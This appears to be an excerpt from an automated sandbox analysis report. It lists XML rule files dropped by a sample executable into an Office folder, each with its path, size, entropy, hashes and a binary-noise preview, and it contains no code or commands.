Preview:	<?xml.........wk&..e_...e.1.".....G...S.U0.......&.".B...)..R.0j..P...s_..Xx%......LE.....=>..5h.o.d"/.+)...n..D>.).......?......xx;..b8r.ubkmZ@B)..;..:..#E....r.. ....r\y.S.f..:..n)c=,;...Q.......a.h..Q....6%.+..E..O..T..V.yK.......5.z....o..OA.;...e...q.p...m..w.-.D^.p..".... I..-$,X.k=g..[\|..E8B\|..~.(d..d....L...u..H.....A...........J.A.^.%`..<...TT...J...W.x.g;8B4`p.w.@.h.=cTC...8a.j....oP,..f...../..h.#.....b.3.rI.6 #E.;dL..5./.x...._.I.0..o......I0..0.\|..N23.... ..R...sR.X..;~..G.\r.U ..2M.....e..U...Z.+P.D...2. ./.8....!.\...\|?K6...mh..T..R..!....4O+1...et.j+}AWw..%..."8TI....W..-...E.1.k.25..67Y.....D..[...'.......<q.k!s.]./.F9..F.xs.(...S....(......s..(<.c1..M...>.....j. '......uL.p.C.+X,..2.........O.....Z....n;w..4....'.LI.>h_....0.u...Z.?.Z...e.J\5. \.M,....v......f.v..;s_....`..._..x..<........dP...[O....Q.B.$..5.................H.../T........KQlFT.p.%R..\...F.:.....d...w..,L..U.-o...........y_.<g9Q.". u&.p.\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.958144243180146
Encrypted:	false
SSDEEP:	96:d3560L9vdzZUV80ecJisXioJ/0UUkjMlm+GBqzkRvxt4Us+7ps:d3w0JBS+0e7sXigjMcBxRZtM+7ps
MD5:	A9CEDC4BFAEC1D276A07CAA844D61FD1
SHA1:	10B266C253936CCE13242A3927576E6588BCCB01
SHA-256:	80245B815967D6895D09480A05682846F171F461ED35841F47499D1E2548592C
SHA-512:	710D53F06E9F4187D118B95DAF18411009416250A2DAA71232A176E4FA2AC20B577DDC770341593BF776CB46590811FD20B2A653B1FEEE91032CF33A126E49B3
Malicious:	false
Preview:	<?xml....5..A.C.^.r.W.P2..K(...aq.y.GY#...H...&E........Q..k...S.}..K..R_...M.C....p...;.y]........<x....Ey.....^.>E..4..M.C..CT.dR\.'.JV....t..T..s..Z...<..u.l.X...,.H...f..:Ix,...c..}.:m..=...p....(..{%.w..m..\..o..C=..OG...\|.Q.~.m.0...%v6...>..E......T....h.@..f....F....J.......v.up.P=.E....\|....qh..o.._...W.x8.}b5.6....1../.-.H...D.3..e&...7...7[......#.BN.Y.K.....m>v...m..E$y...>Ri{(..O....^Q..]...t6.B....kB,xJi.$.S_.x...NX..P.....j;.o......quj..g...g..My.>...}..6bu.K.if<.....[.(..g^... .".PD"]:O...w.@",..k%...@.%...X..G].nz.....g..h..D.$7'.A.....X..`B...I}.4-......2a.3$..;T...hD'_....<...=o..-.$... 9.S-..Pg.(w.e[.../...E.....f.B....E...@.{..A.y%1.J=.'B3....x2.g.........5G#.......Y........G..).C=.....o7...k.Uh..'.p[{........2x...(.........U."....I....y..5Y/.p...#.6...9bdh.L.:.F.]r\$..:....<.....r..g....8....iA.;.....LO7.......=Kx..fU...l(...OU.ff.<.....c.E..j...bf$..x.4.G.U....PV.j._..5..._DfQ...{.,.... .].j...'._.....C...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.852349084645477
Encrypted:	false
SSDEEP:	24:Q9uLhiTlSXy+t9EL7WH+1DEjNaFPAlypmDSFB1eGNuDK5fdkXHdzbD:Q8ViTlSF4BEJaFIl+kG8DKRdCJD
MD5:	0B0A5B3BB660BFEFA8DD01643115F2AF
SHA1:	E54E0EE4E6A11CCC5237A5A6A6C4C9EFF7D244E2
SHA-256:	6755181A0EE2C3FCE0D5CB8F75D3026F4D341BE64E16FBE1462394D8D3802C09
SHA-512:	C55CFB53992740C821390CD00D177009A5D6D73FE5420177C7780D54FDC70E9E1067A695F592CBBB0108B040C0889E717012DA726A665A726703112E3B72715B
Malicious:	false
Preview:	<?xml7d.;.2.Y..-...Xi....l5..s.[......y...p5FybXR.....m.U.._....4..k...L..v.........v.J..K8.b......l...F....X.#`.....0;.b.'b....9..e!V....g...U..E.`.)...-...}V`..F..".^..3...c.m.WV..........6`.=.;..I.i..vk.-..f........vO...I.... D.T...r..9..qn.9....syV[k..t.$C..oMd.g..;.tkH<;]t.)px...CL..Z...0.....?.6T!O.R..:qE..?...^.O.q..~...g./...6..c.,....._..eRl.~.M.....6...U........='..T.Xm+lMex=...c9.g$.XY.&'6.PR.W..{......~C`,.07.q..`JuVS.1...n....%_.Cy!.0B.............+I\..Vi....F.FG[.y..L,..0.....Q...}..8.H\..R.^$...M.W.H.h..b.F..)...,.;n..u......".A}..y:t=...}..LT.az]p.we.&..&.$T..c..xN......w.u...\)S.._U......0.....<.r...a.....m5....]q...y..^.D.qr...P.w/G..s...[......).p[@...3.a..x...!...3,K..h.....W:g1..{...#.Xhl."....^.+...U....I...(......R.~..s&a.>o/.S.%.\|59.{G...n....Q....24.J!Xp.....,m.....D...cHa-...3.~S.R-..H.....wC..1 .R...z..0R/.ulP.....Z>.&g..X.. ..30n..!H...ok#.....0.../N....Cl.:5...a.D?.....Tj..H>t....6.nx....Sozf..:.a..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.869763046902393
Encrypted:	false
SSDEEP:	24:cw3qASxPN0rX41MAsvRRpKQ4+NMjcngqsSt+39KUcClWDzD08p7wgQqB11tIbD:daAIuc1stKQ+4xxktkEWDzDjpMgQ+GD
MD5:	1D5E31FDCB414AF62E71E85ECDBFB28C
SHA1:	8E5378B9B741C441AE3823D930500DEF01C7E3A3
SHA-256:	AD971BB5F9181029ECF45EF46BBF80E1F56A99925972FA901712F60F6933B39B
SHA-512:	796F0A44A7852AECF69C3A344ECAD2E52BFDD8F25F781E7F0F5B33DFFBB3EB1D3FC6D90AA4E27786043596BC209F26471F0176BFA5CE0EAA4A1EB6C5F36FF693
Malicious:	false
Preview:	<?xmlD..Q..5.Gw.J1Uf......BQ6.)....b....Wxy..\|.r.-$.lq....$.......=F.......6..Y..?.A.L..g.pG....Q./e..w..^{...\|H.............R S.sfd..T.O..E....>..x..h._.n+.V=<x..M.y......J.U.c..P._`7.Fr....-N.w...?...+.d(+..x5.Zd.L.....).9.k!.tT.hc..a..&........}+.5....9.<..1`C.......y0O.e.......P..O.I^ev.O...u..}........y..9-. ..\S.....c.@..{.C...?.p...=.@..0.y\|...-.[..9d.....p...!E..i.........UM...W(L.J`.,....}g`..A...\|&3..e........Y......`w....h.. ..93.P.~6Pj...>....o ....cwp....-@>.Cl1. ....2........T..a..s..E..'_.~.B..+.M...#....U.z4UB`..X..a.A..6b.j....A.&.....P...k..-U,.2..PO$.-.i..d....7.X.u.L.-.N..E....^..l.Hy/.jm\|...I. .....[j..k.........n.......QT..M...K.....<I.c..l.QO.....Q.Q...$5.v.....iOo.&....U.i.....3l.t7..[[Rdx.=.."...;...........C....E.].[;. ....@..a.I.t..:f..#.!.,.F.....$.n..[U/.......1..j.....]..o.F*.3..L.,6H.X.3.3.m,{.F."......@z...&...R...V..bs..o.$..}..5.Zt..N...sD...@.,.-...+ z......T.e.\|....41.g.U.d..dPy.b.Z......5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10818v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.815858557251623
Encrypted:	false
SSDEEP:	24:8q5rIYpJMQeH8V0frYcg3H6i5xlKdSPrrVpuVNzyUPATVbD:vrIRQ48VMr1g3aKPKUPXzKQUPsFD
MD5:	D0BE50A3F6B0A5E5F79EB060772C18B5
SHA1:	265836136F28FBE24D5C4D588853A31CAB122322
SHA-256:	15C9371E6F0419315E7D9ED43A1D5D709DF2B49C3E42291DC32ABFB39530D086
SHA-512:	AF507150840C61AC4FA14315FA90A232C9E0E500ACE5AB50C339327D94DD14776EA3D9DFB8EB59167DF64F8175135FFB1145ADE2706F2BFC61702E25621D7A00
Malicious:	false
Preview:	<?xml...]'. .y....`.A..$qq.[.D.......C.I#.1.._.a[..Hf.l5..~.Ki..M....p.=6@."kn..@j..3)+d..RO.J$..[-.<2.YO..A.<..xj.....Vb....I\|..E.<.muy..O+..d_.?...8b.....(..M..R./..d.1.".>1.o.n...c..2....4.<r...0q..:.=.$.X.l.....!.....x..\....D..=..$Cy.LB.}%h..r...%4O....E.0^&..Ct....e.7..V.....u...t.z(I.>#$~.$....+D...q...WM..n.E......d.n.3.!........AN.h..4..._Z...4.....vj3.&.R..!...2.....iX..&.Z._C.Vq.Rn...y}..C.'..y..mk..v.Q......od.@..3..\.4...+E...9..QN..S...U....z.(x\|.g..8X.4<......@.9..?..c.ww..='_A.?.C.M...i..r.\|.Y.Ss...D.,(..:#3... .CMrA..,}.GP.A..Z.V.......g..;.$...[V.gf.R... ..r...E.ndg.......,G....,.......>Fr.3../........z.Q..E.........b....z..T.... .....34_...;..h.w.,.m.g.P..w/[...B..a5.M.i5.....#>.......i....vy?(......h.D.6}\pM\|.x...k&..e&.mz.......9$ue...>V....9..q....r...p..f..'..{@.o......s.B^..a'~.X`..X.....H(..............k..G.....08...AV...$F.r.,.1Z....*.....H)Z..W.q.0..o..tD\|..`......\...a..,w:.H....h.b.Spe...0.....3D..v_

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10819v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.980232766152307
Encrypted:	false
SSDEEP:	192:JY3MzgOoofwTBe2YlOOuzJnN00ofzb+Kxvwx8wiPG49G7:JY3MzVeOgJnN03fzb+7IU7
MD5:	C930A3B9866C21FB3C1989A138800AD5
SHA1:	F5D946104089C56EB436051DFD256D384C4EEADD
SHA-256:	D108F7AC3EECEFE28907822F6EB57AD91653ED95B6EF007C5E182ED2FAB7C832
SHA-512:	D44D956E1C329F107B977B27ED602E7F04C97B1CA494F1492A09A2C458794F05E222DFDE293E25DE67D453CF458BE6EA8171C0500D23425FD34ECE27ACAD64A2
Malicious:	false
Preview:	<?xml.\|f.{._.w. .I....5.L].qN...iF./s3..9....S.....,a^....`^..U..u# ~.$..T..T.=..m?7....6.I.....sP..j.b...v.zJ.N_y..z1,.........CW.OM.o...w.....J....9l.A#-....aH,te.&...g..\|.f...;.\Cjh.Zm....b...`H....l...A.z.dg...Ro?.c...Z...h.Il.6.2!...7I......V...d\|2G8.m..V...7.A...n.."b....f...h.>J..tl.t.zF...+ .v/+].vy..i..).^^.J8'x..p..........7Wx.%.pq.J....g.R...../...}&...\.?=..H...~G...cBD.&..........0....@...Bl0Bs<A{..!.\|. ..B..TSWr.....N..7w.a$:.p...im..i....q...!.1n..^^.Mb.@......S...4A8.$.5.R@......Os...6.^.l.>..@.S.2..!.6...6J<.L..b\.p.}-....(....+.A.....1.SZ.'./2...D...7"yd.....a.`_.....v..x{?.NH.0..8..+.Y..../.....k..t.......L..{.$..~.$.'..7../.b.z.s>.....0.G.....c......^g\...,..'J..*g...Z...w.Y..1&?s.....o.].>....v.I....P.@...j4.L.,.l. .<...U....Z.x.>8.....7l1,..w.j.m^g7(.\..g.<........-9)Y..j...N..j`T.r....e...M<=.......'N.#.......e.P2h.^K7y./.p.................J.@..j..a.Ma .dh...9.G.V..0..c..d..\..@.....a......Wz...=^.&......$..o

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10820v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.967199842741258
Encrypted:	false
SSDEEP:	96:dDBgXzDUtxIwPLu7YUe0tQIMUu6p4VnSIEkzxkEglZiFXYTdVI+IjrdAOD:dVgXfUtr/HnI+/SIdzxsgoRVI1D
MD5:	DCF965A0DBF8D84679FD882ED41D26D9
SHA1:	8E92CC5FAD4F53C00BDF6D25EABE86C45B83DC78
SHA-256:	B0ED5D652516C894F371D2B3692CCC59A7FFADC6B90C0D1DDA03A153F19DACB4
SHA-512:	6AA4FB5C1A580232CB0F5B2011AF9EB84E45C7FAC7A37DF0D0D4C0A769B1A8D3962997F1E0A2FB210AAB4F77532F2D73D7304BE7BE6CC8A042FAE03022F8DF19
Malicious:	false
Preview:	<?xml....u...R.H.?.?..&b.......r....x.>.p$.(......2...(.B&.6.qx'dBu...z~..C$2....@93_..q..Vm9v.`22....r........M...?..t.G..i.r.B+.]M..K"....\....U../6...L[.V....e...?.T^.V.......zk./...`i..w...3....(A..%.6.."...1y.`..K..@.=].6.C0.R.....He#mw.H..e.c2.-..~.........94..a....7.!.....w...z..A..0.D.~.j#E.,.....1...;....N...@u..u.Jm>.(..K..,{._.(...WEs.i..Q.!.VN.........../9p...+..d..8...N7{....5......X..(49L?F..T..Z.Qm..e...:..i..2....ZY.\A.L].}....8N..m)%.......IU.d.)wL\|...........p.:l.e5...03.uQ.5.I....N.{...d..8...9,.l.....i..^6.D.#$$..._.{."..m....D.^1..H.^>.z....&`..I.`...~.fJx....\......z...#q.........K.&'<..c.]E..5....o0.B..=..-....?.(NP..%=,"O......_?+....5=.).@^.......^.d.L.9rH^..i.....F.....e.l.;.N.8...^~.+.G.ZsHE..=..T.......GC..Zr..@...:P...V..U..........k-...5R:.d'..).BY..jq4.\)l.c...>G..-..V0..xz..D.X.n..[%........p.VB............,....;....X..Q'tl.._\.[&I..8......N.#$.%.....5...........u..\.Z.F..6.Z.../..H$.q..j)..i.\..].p%.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10821v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.962918259134973
Encrypted:	false
SSDEEP:	96:jz3gG0fVgfG1LL7h9yb1RPu7O/Z/3w0YvqWDhx7WyNq2Aa5B5:f3gDVNLL7h9o1RRwqKBtqTQz
MD5:	5B6660F1E047E307936DF12B612C68D5
SHA1:	805246BE7933A597324A8B50AA55F2FF05F79694
SHA-256:	8F0DB93A19F386B47DA1FE4866BC116FC8F893136929D98ED57F0F6C674DDFA5
SHA-512:	C0C0C989041CFDBA4CF84FB5C69088382DCF8E90D06F281F4E53C43DFEFD5D0984638A5DCD8EF6B6DEAA8D476994627E5E42EAE2E76F916916449110FA639E8D
Malicious:	false
Preview:	<?xml.!V".6".....\.+.L...r......y..O..\|`.hr....$C.3-T...@....'....1^7Q,.VnE...<... ..r.$OJ5ZLj..aO.-.X..+..x.j1..'[.ZT...V..P...1...m.^...#.....{..e....^.......2.-..b...Im.`}>.3e.VE.....d!.X......X)...\N9.j...P......j...Ji-.......l.`.F..J.Xwa...uZ.&M...I[Y...\cTx..o...M..is..}U...i.p.3.9.(....%.I.k. .D....y....N4...H.9....." ...$}`.6.h`.b.hb...8rI".J.I..O..C......<;.L>.2~.. h..B..B...4.k.=..(../..V.0.3\|.q...Bw....kyr..9I7...~.;F.u....1....R..i$...]S.....~..eP^xC.O.P...}4..P".1.v6{u.3...q>.....q.7...R.r.t....d..S..'.AZ..p.b....H....t_N#..`......d.Fxf]Mzf...aAYI...\..}.......y.....&.K.8k-JW....A..Z.JB....Q.YN.!.gM..OR......."B...r.\|.....`.2..H...k.(...m..5I.7.Y...._^.U.v..../_.'...y.9.! ...T.`....v....*.js.P.}....t.(.....w..i. ....I..o.c......h..E..Z...f.l6W....6A3...c...`....\|{>.&......6].a...........$v....0.5}..R=........t.XV[...M.v.}`...3j\|on..d\|Q.--D.q..y...9..U,z!.F...w.!!.W.&>]w..^....Vl..4k;?QW..rD._.4..:...h.7.....O....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10822v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.966672818730889
Encrypted:	false
SSDEEP:	96:OgT7RJcABP0/Q9ufMSYz8KktWC+spV3z09OX9yw153oGRRY3ACg/b2qSru:O2RJcuP0UufGk773z00X9yWHRYEbxJ
MD5:	C7E029536FEE96B5E0F7C703748B0E93
SHA1:	D2C2283E4321F6878BDC4B5103ADF5A93F96975B
SHA-256:	3C2D8BD8966555A945EEB7D6BD881F4F9EE656E79D306D0ED34513D303221C35
SHA-512:	FD1881B3B0DB0DA1C695943E801A3E9B1C635321672136365B9E8813DC54B97E6738206FF5D569902C9FC245C61D4EFAD20727AB8D2CB69237EFA83029275F76
Malicious:	false
Preview:	<?xml...Q...G.x.\|<).9.....f...~.Z........(...%.`mf.'....X.^.xR..`+a<....9.....e.9.?...s....L@.....%}!.W...>I.%Jrg.dU`h....A......;..X...e<.v.^..'....Z3e].#.T.~@...j....E9..0......x.=c.8..,...H...5...&W.K...xH.....}.j...p.=.......T.<5.....A..Y..5....2.n:...H...ei....4...aZ.v...FQ....#.Q..\|..}....2.jL.C.A...,$V.WqJd..b.u......]....5O..'k..0Yz.K.S.... H.X...R.Q..2.$....e..!.N9.....:a...R-..P.Y...W....7r]....D...C.N[.D....,..c#.!4..ex-..C...mD...`..~Ux.d.7....V.6%.b.g`7.H.>E8..".^.\|......c\|&q.[Sh^.q,I.cKsc.....7q}H...\|.].!.3N.-._z.u.w.......s...m..8.xaf..P.a....^....WZ.....\..p.6_.D.....B.....!....93v-.......s."..;.V.\.y.G....Q.XE.S.Bi../ry.N..N;9..A.%.a..1..[....[Xz.]...k..7!./z.)..,....J.Y.ugz..-...iG..(....r....S@.i.......#...'.-.Gh.D.4HZ..@2m...2...z..7.3...4... ."G.k..4.l...0..n.!...H..OJ...M..C.7....Z+.. .L.IC...n;..Lck@.=di8N........1.{j..W...z...X...:...E:.......B.....u...F....U...5..\..._6.'8..V[.Y-0...`..A.#?.C..OH{v~.E.;.\|?.V...h(.Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10829v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.930865728699974
Encrypted:	false
SSDEEP:	48:UgJ4dmEqRLvLXsDIa1O/LR6vStae30IzimFHCm1aHnh4yA15aK5o4PYcylmjV0/p:UgydARLvLXs8v/LsvReEI3FHCmkHnK38
MD5:	993EAD61F69782BE59E31DF568754428
SHA1:	D4D75A7556BECEC907A7A40AF0B0008C6D7E8EDA
SHA-256:	977745C1CDDE6A9D1AA9D77BCB83A04BD2E3114BF5F59BFA91A5DB5B440C730A
SHA-512:	393CB76F5B9C639FBE68488F19DC4F17FB3DC98A1F659F87A5E4FCC781E6ED94E2B9201C5FF5A2AFA1416BBA4D24C03756BAA4CB642B063E8D4F4D4CE71C7991
Malicious:	false
Preview:	<?xml9t..ghL4@.Lz...9.#..$\c....x......y...!TX.....tV......g..M. ....1...p.5C......0D2...gMP......MX..D>.g...9.A.Z...x......[.6p...F.k...}$..7....j%)....VV....1q..q...{m....>#.`g.2bi.3.I..8........L<(2..(.t...Y..d.0.....].......K....:jA...x.@.).r...$wH.)....,.U^..\|'...\..EzO..p.^....d....M.$..I.S.Q..ib......t....\.e\..[..".i...z.lx.....E..8..B_.m.m.DO.....dW..q.........w..W..(K../......7A..{Y.A;....I...0^........Q..X......tU.r.W...... .c....Zz....V...8}d7.Uc..........-......#..U.0n.-.K.@Zdt...3f..~Tx..~.{.7.-._[..V..p.&.]L.%.k.C...w..g.W/.v...8......rm7#W]@f;.>Dh...%&..n.J.j=.@A..lC-g....j......#.g?EE...ZI._=&.S........rW.8.>!..R..)......x3u....c..:K...h.= B=....oa...W.A..Bk....Q...L.Q...k.....d....d:.;..K^E..E%W.\.I.<.L.d]....&=......e..\.\|{.+x.Cj..k.+D2..\|qp..\Y..+.J\|F. )nVK(v....+..`5Z)c.=V.R.R.P-..0.z....4...L.z\|..,..=...i..1p..g.}....y.u..,.u.eK.u..W.D\|.b6N\|...h.^.9.Z....m.t./.K..#...z..5^.e..q.s.%.)..B.f.]...P.t.....}l...Z..[1.......7.I:.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.681394971942861
Encrypted:	false
SSDEEP:	12:bi6YZnGdNhYxLZoN9Q7vq3+s09Nch2aVwWJ50eqanh0J2i72BlsfS6hkYcii9a:bZYmXYxFs36XAwu5039v7zfS6hxbD
MD5:	D10ACA90521C48B3AE3E3C8F69B5426F
SHA1:	40A0FC5EAD21F0047297C58E952BA7E71E12D738
SHA-256:	C6FCA4D2BB6D5689569773E4978E1BC3DD6FD4227FD41970EE7BEB73387B0392
SHA-512:	4C29686EB124E757B6032C4B96268DDA1D3882761133453D255083D0AF10000699866EB71E36F4DE4323A89EF8B3677D42225AD818F4C01B965E70EFC02ACB12
Malicious:	false
Preview:	<?xmlc.^...`.)T[..F....4O1V.{,r/.>n.Zi$.S.Ob.IN?.F'../.!..0...Z.A4.......).e.@.h.....G...y?...-@..... ......d.@..u..b...0.v....(`.......K..........b...q3.r;..0#..q...iB..w.....8..G...`f..I.n_:.....<.L..K.5.\].D.7G.-..^..3nn.....D.x...&.>..?<..#}.-/.F....x..e.q."Q..."+y..x...a.........R., ..7.ma......".)...#..?b....;..?s..C.....Q.....Q...-r...."].G...q.3.H1...b.P4.tA.H...3.^h./...N.m.D...b5.[..P..a;!.ii.F...b}0...7}kz..[.1 Nn+.u,..}.'..;.!Fw..*..=4C.K..!.Qg.B..y.C+.......0jjQ.....H 2..X.8fR.7_..o...f....M...G.....$.v....0.~.rl.F..7.gB...Q"x..h0..I..'+...W..LC.V.....m...0a.WH..0Z...J........\|z..(o..7,.M4.......67.$Z..SL.%....\|c....0../..."...2.[..b......./.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.941004491114408
Encrypted:	false
SSDEEP:	48:gVjr6xfyiXe3iu8/rMRbkhx1GflDmlWSExz9xAJIH3i8IeySJeX1p+D:gVjr6xfBGkl3ExzAJIHPIedWG
MD5:	1653605D090548F91237A1F32DC0A961
SHA1:	A0AEF87CFD5F21885BB18BDEE16EF294C9CCFDDA
SHA-256:	EC1064B5E9EF54A063EE4ACE03A13BCFFCFFCE6565D20E9B5432B8FB4E92F9B4
SHA-512:	04F1DF91F8B8DCAE52CB7F6EB775C1741E58D6952F7392CDE022B419B30B99D8F3C1CDA38621F8C2C961E0CCED38D87B880F629438DEDB17E2624A43B75CF395
Malicious:	false
Preview:	<?xml/.....pU....w......M.r.N.)..0!..x.>U\.K..{........n.U+...f..zu.l...oU.S9r.j....`9+.qA....0M...^.....aBA.+..g...p.)e.._a.7.<Cu....2..]q.k..x..g..V.].......tQ.2......1...>/.4.{.mQ....)...s.Q..^,....3.+.m..X..5..].lpj.'. ....'...\%/,....{.O.Mj.cj.).hk.....Y.o..B:..7j...D.9G{....nYA;..'K>.).]?f...Guc....w......\...A..."+.g....X..B..5u3.Wz.?.P.h?3M.....F.k.e.........W....T..+..m_..F"..,...1.a..r..B....K1An.....}..,..\|.l..sf..E.i.3....[..vTf..,u..J.K..{.4p.q..>,.......y..n.;ZE.a.;...cKt.X....mv...!AO....l.O.(.)F.qiS.+B..G...2..3.D..tQ.='...}...h.,H2...w..O...y........q...p^..k);.....e.&.y....=..G.#P.4.xv....J5.D......d#'....N.........X..7.R.....\|.....f.g..r9.t..8.".-i.G!l...~F%..{mUr.+.".U..H...:...).7...%3....M<S..W..M>..o...?4."A....4.pm@Jgk.=9..Ii...`..*3...O......[..9...MiWg.....&'J<..>............0-..X.a..z$A~I&..U.B[U...m.....>..........a.I<'...K..v......:.^...{"(S...g......I....o......UZ.\...s.jzN~..e/..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.712297892253545
Encrypted:	false
SSDEEP:	12:cxyvnAmcQSs6hCY1vZBil2Kin06194CIFxR1Pkqee3OQfhjh4HJUYYcii9a:aQf6hCap0M94CIFxR1M83OQfZCJKbD
MD5:	86B238F820D9273262E8378407626E48
SHA1:	B1ED8EA26E349554AD634A029BFF49642AC99B71
SHA-256:	76D5904C02071703E844B9D277E0F809A81FA966D42B2ACABD2EB73D78A88BF3
SHA-512:	CAC595321C499223E629331D0CF7AC7F0D78C104F8EF96080702FD4C72F960A8597C2E700D01308B9C9C3BA1A1CAF09DD70D2092FEF839B539E577D00D33A8B1
Malicious:	false
Preview:	<?xml4W...<..u..n.IgZ..\.`.......If...s..\|.`>.....I..I..T..BsX%..?..).?..niV.../..d6.7&.^...x.Z!R(.`....RW......b-. Y._._.~..N.I.k.......&.S..f.(+.+~.#..t..^y@l]Z....5c.DU....a....s...2....%=.".)$F.T{.....0.p{\5N.b;...^..W3?...U$.+.T.......^&\|.]Uq>F\.3"..p._..!...t.\|..".P.5.Q..g...`......f.~.[.t1..W...,..C..7.p..h(......U..1q...QlC.........f.".......F.O..L.X...'.22.[.P....m.n..}.\.c....&.C../...S.:........&..fM..".;qS].2.I.$.......~g.....k..&.....8.. v.. 0+p..!..3........$<...D..v......9.XV.V$.Kl..s.D.:.U9`..f..J.;.'......E.k.&X.....H.+}g.\.q0..[...~.h...U......F&.@ ...........RD.(........W..U..[..:.Q...Qxm...R9.EP_.6.\0....{'.f....MGeMV..S..*..i...X0mt...\|...a].).bw...s.<;2..o..b..b..\|..AU.oW2.,.=GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.938677180584777
Encrypted:	false
SSDEEP:	48:DACEUvwzWmlTAkYi5cYG/YHIj0qCj/GXlAg+iwUL8ZP5x4MY/psX21rOHaYAu7Ey:LEzJoi9G/Hj0qCC15bL8ZRxAmX+rRYA8
MD5:	5DF866410C7E41444CAA940DD25F7EF4
SHA1:	CDFEC45DA25C968F600FA51D5452A0AE367B43BD
SHA-256:	7E43D26AD9A1E401FA5F05D1476149BAC569E438E69D834695844FF760FAB6AD
SHA-512:	A2325ADD441552B2DC852F735C846A2848325CFF6BF8DC75EF0A43E6AFACEB36692751175340D9F05AABD98BE87B4E74DC78EAE83DE8BC2FC2C75F1BCF27EA3E
Malicious:	false
Preview:	<?xml.$..#..2....65XV/.kIMEm...tD$.L..B{p..........B,...u'..nM!.q....cf.A\|....n6...~..'.^k............=..\|cL....-....[\..5.0I.A.gq...%..4...[.%..}k{....z..H...xQ.._c..T.#A..`.T+.3.3/.....S.;.N.E. ,Kj.#M..u...`%..9........^...L7.ViW.&.".F.{L(..T..K!JT1r..~R...z.1./..&s..8...../I.J...6. .F.....j_....7VUOMGmp7...a@F..U.xT..3........^.?.-a3..-.X\T...tg...%.aUE."Q.8.Z...6..U...^H.=..4.K.;.s....?4..4....j....i.?.......F$..}+kj..@...."o..Po.dPWO......k.&..w=...\|...L'........Z!2.R....=.9..TM~(./;B.......5.`...K..O.j..D.P\rd.a6:-.z....f.=F...faM.....B.^......."..1......w.9.jc....3.......-[.E....z.9.5<P^.d6......Cj.P.}.S!Z..abE..7..(@.......<.W...Nu...Z.C7.v..K.....s....n.4b$.u...K........p)x.Wr..4gR..].f..Ks.1..J...e.$$%..2.pcL........./p.......^a..%.;_%...9..m..+...H*..g?I..)..;E..U..O}m..8....{...j.J.V..\...ns.5.&v......E..Z..yFH.fa..S..uxo?.TM.v.Rs.Z.....v.....h..y...v.G....(N3........&...x...>.bly.,..z[5....0...Sx......bB..a?UV....N....z...A.b.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.81324415687658
Encrypted:	false
SSDEEP:	12:0eoMKHUzciH9e3f3hAAl+u22NcdiHnQTrkQM5/Y1OhsxfruSn8f8AGYQSKRXamZa:03OwLPhAK22NcdiwT9M5iH8EFXLI+QbD
MD5:	D90EE16B11280DF57B7FB3F2009A1FF0
SHA1:	651B0AE8AAEEF36A51371E7AA47B74C80FE01EC8
SHA-256:	5B5EE7FAFE40E89C5476AC13A43F16A02CB2BD6114CAE34F61F13E9320613E6B
SHA-512:	C0F417B00F695AE8218B952303F632B3C0A36B7BC46181A1BE85038130E265095BC6562ED7070954C236D60BA3149F556A953A0ACA1CDE34B6E412FA354D28E1
Malicious:	false
